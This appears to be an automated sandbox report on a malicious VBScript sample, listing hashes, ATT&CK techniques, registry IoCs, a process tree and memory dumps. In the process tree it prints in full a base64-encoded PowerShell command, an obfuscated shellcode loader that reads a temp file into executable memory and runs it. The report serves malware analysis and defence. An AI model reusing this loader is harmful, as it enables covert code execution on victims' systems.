b3b697f1100c8c075aaf74d735416c94ff4e6a4940dccf111c7183ea8a098739

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
11/02/2022, 10:04

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Report Analysis Logs

General

Target
DOC 009323.vbs
Size 162KB
Sample220211-l3yn5aceb5
SHA256 b3b697f1100c8c075aaf74d735416c94ff4e6a4940dccf111c7183ea8a098739
MD5 3c52d7ffb4986a984b59a905600e96b5
SHA1 1cd9bd7e344ec011fbc6845baa23ff153dbe411c
SHA512 e47281e3293250563b61277d763ea04aaa8143111a5f90400608a78e1fa8e5e010eb88666d153e1cf9dcb28b82aec54dee59ce8649454988babd798761b49b09
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe

Modifies data under HKEY_USERS 51 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "90228624"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "4"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.013068"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "9.090320"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "3908"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132892238571733050"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "1157726"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4164"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
208	powershell.exe
208	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 208	2268	WScript.exe	61
PID 2268 wrote to memory of 208	2268	WScript.exe	61
PID 2268 wrote to memory of 208	2268	WScript.exe	61
PID 208 wrote to memory of 3244	208	powershell.exe	66
PID 208 wrote to memory of 3244	208	powershell.exe	66
PID 208 wrote to memory of 3244	208	powershell.exe	66
PID 3244 wrote to memory of 3220	3244	csc.exe	67
PID 3244 wrote to memory of 3220	3244	csc.exe	67
PID 3244 wrote to memory of 3220	3244	csc.exe	67

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOC 009323.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBkAHIAZQBqAGUAZgBvAGQAIABBAFIAQgBFAEoAIABUAGEAbQBzAHYAaQBuADUAIABWAGEAbABzAGUAOAAgAEoAZQBuAGcAOQAgAGgAeQBwAGUAcgBwAHIAZQBkAGEAIABVAG4AdwBpAHQAaABzAHQAbwBvACAAYwByAGUAYQB2AGUAcgBiACAAbABlAG4AcwBiAGEAcgBvAG4AcwAgAEIATwBSAEQARQBBAFUAWAAgAEUATQBBAE4AQQBUAEkAIABTAHAAaQByAGkAdAA1ACAAVgBpAHQAcgBpAG8ANwAgAEwAYQBrAGUAdwAgAEkATgBEAFIAWQBLACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABoAGUAeABhAG0AZQByAHIAZQBpADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABoAGUAeABhAG0AZQByAHIAZQBpADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAFIAZABzAHAAdAB0AGUAcgAsAGkAbgB0ACAATQBlAG4AegBpAGUAYgBsAGQAZwAsAHIAZQBmACAASQBuAHQAMwAyACAAaABlAHgAYQBtAGUAcgByAGUAaQAsAGkAbgB0ACAATwBQAEUAUgBBAFQASQBPACwAaQBuAHQAIABoAGUAeABhAG0AZQByAHIAZQBpADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoAHMAdAByAGkAbgBnACAAbQBhAHIAdABpAGEALAB1AGkAbgB0ACAASAB5AHAAbwB0AGgAZQBzACwAaQBuAHQAIABGAEUAUgBUAEkATABJACwAaQBuAHQAIABoAGUAeABhAG0AZQByAHIAZQBpADAALABpAG4AdAAgAEgAagBzAHQAZQAsAGkAbgB0ACAAVABhAGIAbwB1AHIALABpAG4AdAAgAEgAYQBhAG4AZAB2AHIAawBzAG0AKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAATQBlAG4AegBpAGUAYgBsAGQAZwAwACwAdQBpAG4AdAAgAE0AZQBuAHoAaQBlAGIAbABkAGcAMQAsAEkAbgB0AFAAdAByACAATQBlAG4AegBpAGUAYgBsAGQAZwAyACwAcgBlAGYAIABJAG4AdAAzADIAIABNAGUAbgB6AGkAZQBiAGwAZABnADMALABpAG4AdAAgAE0AZQBuAHoAaQBlAGIAbABkAGcANAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoAEkAbgB0AFAAdAByACAATQBlAG4AegBpAGUAYgBsAGQAZwA1ACwAaQBuAHQAIABNAGUAbgB6AGkAZQBiAGwAZABnADYALABpAG4AdAAgAE0AZQBuAHoAaQBlAGIAbABkAGcANwAsAGkAbgB0ACAATQBlAG4AegBpAGUAYgBsAGQAZwA4ACwAaQBuAHQAIABNAGUAbgB6AGkAZQBiAGwAZABnADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAYQBmAHQAbwBuAGkAYQBuAGsAaQAgAFMATwBVAEYARgBMACAAcwBlAG4AZAByAGcAdABpAGcAcgAgAEEAUABTAEkARABFAFMASQBNACAAUgBlAGYAbABlAHgAaQB2ACAAagBvAHUAcgBuAGEAIABwAHIAbwB0AG8AYgAgAEcAQQBSAEEATgBUAEkAUwBFAEQAIABSAEUAQQBTAFMARQBNAEIATABJACAAUwBQAEkAVABDAEgAQwBPAEMASwAgAE0AZQBsAGEAbgBpAG4AbABlAHAAIABNAE8ATgBPAEMASABBAFMASQBVACAAUQB1AG8AdABpAGUAOQAgAE0AYQBsAGUAcgBpAHMAMgAgAE4AZQBkAHIAaQBnAGgAIABTAEUAUABUAEkAIABJAG4AZABrAGEAbABkACAARgB1AGwAZABiACAARwBSAEEARgBUAFAAUgBPAE8AIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMAdQBnAGUAbQB1AG4ANwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAHUAbAB5AHQAcgBpAGsAaQBuADgAIgAgAA0ACgAkAGgAZQB4AGEAbQBlAHIAcgBlAGkAMwA9ADAAOwANAAoAJABoAGUAeABhAG0AZQByAHIAZQBpADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAaABlAHgAYQBtAGUAcgByAGUAaQA4AD0AWwBoAGUAeABhAG0AZQByAHIAZQBpADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAaABlAHgAYQBtAGUAcgByAGUAaQAzACwAMAAsAFsAcgBlAGYAXQAkAGgAZQB4AGEAbQBlAHIAcgBlAGkAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAFIAZQBnAGkAbwBuAGEAbAAgAEUAeAB0AHUAOAAgAGoAZQByAGUAbQBlAGEAdQB0ACAAQQByAGMAaABhAGUAbwBsAG8AZwAzACAAVQBkAHYAbABnADIAIABCAFIATwBUAEEASwBTAFQARQBSACAAQwByAGUAcABsAHkAeABlACAAUwBlAHQAaQBnAGUAcgBuAGEAIABCAEkATgBHAEUATABVAFIAIABDAGEAbgBvADIAIABkAG8AbQBpAGMAaQBsAGkAYQByACAATgBVAFMARQBOAEUAIABpAG4AZAByAGUAIABoAHkAZwBpACAASQBuAHQAZQByAHAAbwBsAGUAMgAgAEsATgBLAEsARQBEACAASQBOAFYARQBSAFQATwBSAFMAIABQAGEAbAB0AGUAOQAgAFMAbQBvAG8AawB0AHIAIABSAGEAcwBsAG8AZQBrACAARgBvAHIAZQBiAHIAaQA0ACAAYwBvAHIAcgB1AHAAdAAgAFIAVQBSAEEATABOACAASQBuAGQAcAByAGUAbgB0ACAASQBsAGQAbABpAG4AMQAgAEMAQQBMAEwASQAgAHQAYQBrAHQAZgBsACAATABpAG4AbgBlAGEAcwBkAG8ANwAgAEgAbwByAG4AZQBkAG4AZQBzAHMAIABGAGUAbQBrACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAE8ATwBQACIAIAANAAoAJABoAGUAeABhAG0AZQByAHIAZQBpADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAFMAdQBiAHMAaQBtAGkALgBkAGEAdAAiAA0ACgAjAFMAdAB1AGQAIABNAHUAbAB0AGkAYwBvAHMAdAAgAFUAbABpAGcAaABlACAAeABvAHMAYQBkAGkAcwBzAGMAdQAgAHUAZAByAHUAcwAgAGoAYQB6AHoAYgBhAG4AZABlAHQAIABJAHQAZQBtAGkAcwBlAGMAeQA1ACAAUABvAGwAYQByAGsAbABpAG0AIABGAGEAbABrAGUANAAgAEcARQBPAFIAIABhAG4AdABpAGYAbwByACAAUABhAGEAbQBpAG4AIABjAGEAcgBuAGEAZwBlAHMAYQAgAGUAcgBuAHIAaQBuAGcAIABSAGEAcABwAGUAZQAxACAAQQBVAEcAVQBTAFQAIAANAAoAJABoAGUAeABhAG0AZQByAHIAZQBpADQAPQBbAGgAZQB4AGEAbQBlAHIAcgBlAGkAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAGgAZQB4AGEAbQBlAHIAcgBlAGkAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwByAGUAaQBuAHMAdABhAHQAZQBzACAAUABIAEUATQBJAEMARwBSAEYAVAAgAFQAQQBCAFMASwBPAE4AIABlAGwAZQBnAGkAIABQAEkAQwBVAFIASQBTAFUATgAgAHMAcABlAGsAdABhAGsAZQBsAG0AIABNAEUAVABBAEwAUwBLAEkAVgBFACAAQwByAGEAZgB0AHcAIABPAFYAQQBUAE8ATwAgAEsATwBNAEUAIAB1AGQAdgBhAGwAZwBzACAAUQB1AGEAZAByAGkAYwBlADQAIABGAE8AUgBLAEwAQQBSAEkATgAgAEEAbABsAGUAIABQAHIAZQBwAGEAcgA5ACAARABFAEYARQAgAEkAaQBpAHMAbgBpAGYAZgA3ACAAUgBpAGcAcwAgAEwAYQBzAGUAcgBqAGUAIAB2AGUAbgBhAG4AdAAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwByAGIAaQBjAHUAbABhAHQAbwAiACAADQAKACQAaABlAHgAYQBtAGUAcgByAGUAaQA1AD0AMAA7AA0ACgAjAEYAaQBiAHIAZQA5ACAARgBlAGQAZQByAGEAbABlAHMAZQA3ACAAUwBrAGkAcwBwAG8AIABvAHIAYQBuAGcAZQAgAGUAdQBsAG8AZwAgAFMAawByAGkAbgBnACAAQQBrAGEAZAA5ACAARgBMAE8AVQAgAEEAZwByAG8AbgAgAEMAbwBuAGkAbQBlAG4AZQB0AG8AIABCAGEAawBzAGcAYQAgAHUAZABuAHkAIABBAE4ARwBMAE8ARgAgAFIAaQBnAGgAdABzAGgAaQBwACAAUgBlAG0AZQAgAFUAbgBkAGUAcgBqADcAIABTAHAAaQBuAGQANQAgAE0ARQBMAEwAIABOAHUAbABsAGkAIAByAGUAZwBlAG4AIABVAEQAUwBMAFUAUwBOAEkATgAgAEsAbwBuAHMAdQBtADUAIABUAGkAdAB1AGwAZQAgAEkAbgB0AHIAYQBuACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAHYAZQByAHMAdgBtAG0AIgAgAA0ACgBbAGgAZQB4AGEAbQBlAHIAcgBlAGkAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAGgAZQB4AGEAbQBlAHIAcgBlAGkANAAsACQAaABlAHgAYQBtAGUAcgByAGUAaQAzACwANgAzADAAMwAxACwAWwByAGUAZgBdACQAaABlAHgAYQBtAGUAcgByAGUAaQA1ACwAMAApAA0ACgAjAGYAbwByAGIAbABkAG4AIABPAFUARgBPAFUARwBIAFQATwAgAEMASABMAE8ARQAgAFQAcgBpAHYAaQBhAGwAcgBvADIAIABJAG4AZABlAGYAaQBuAGkAIABTAHQAYQByAHQAcAAgAEEAcgBzAG0AZQB0ACAAZQBuAGcAYQBuAGcAcwBoACAAVgByAGQAaQBnAGUAbgAgAEsAbwBlAHIAIABUAHkAYwBoAGkAOAAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbQBlAGwAbABlACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAZwBnAGwAbwBtAGUAcgBhADYAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBuAGcAYQBnADkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARgBSAEEATgBTAEsARwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMAYwBvAHQAcwBtAGUAbgA0ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEcATwBUAEMASABBAFUARAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBWAEkARABZACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMAdABhAHIAdABrADYAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAawBsAGEAbQBwAGgAdQBnAGcAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAaQByAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYAaQBuAGkAdAB0AGUAdABmAGwAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAawBsAGEAdABkACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEsAbwBuAGMAZQBuACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYASgBBAFMARQBSAEkAIgAgAA0ACgBbAGgAZQB4AGEAbQBlAHIAcgBlAGkAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAaABlAHgAYQBtAGUAcgByAGUAaQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y2y4igle\y2y4igle.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3798.tmp" "c:\Users\Admin\AppData\Local\Temp\y2y4igle\CSCEA2655871E3F4B1D9116298A2ECE17F1.TMP"
      4⤵
      PID:3220

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:3808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/208-142-0x00000000084B0000-0x00000000084CA000-memory.dmp

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memory/208-143-0x0000000004975000-0x0000000004977000-memory.dmp

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memory/208-138-0x00000000077A0000-0x0000000007806000-memory.dmp

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memory/208-139-0x0000000007880000-0x00000000078E6000-memory.dmp

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memory/208-140-0x0000000008010000-0x000000000802E000-memory.dmp

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memory/208-141-0x00000000098D0000-0x0000000009F4A000-memory.dmp

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memory/208-132-0x0000000006A00000-0x0000000006A36000-memory.dmp

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memory/208-137-0x0000000007700000-0x0000000007722000-memory.dmp

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memory/208-136-0x0000000007070000-0x0000000007698000-memory.dmp

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memory/208-135-0x0000000004972000-0x0000000004973000-memory.dmp

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memory/208-134-0x0000000004970000-0x0000000004971000-memory.dmp

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memory/208-147-0x0000000009250000-0x00000000092E6000-memory.dmp

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memory/208-148-0x0000000008580000-0x00000000085A2000-memory.dmp

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memory/208-149-0x0000000009F50000-0x000000000A4F4000-memory.dmp

Download

memory/208-133-0x000000007462E000-0x000000007462F000-memory.dmp

Download

memory/208-152-0x00000000092F0000-0x00000000093F0000-memory.dmp

Download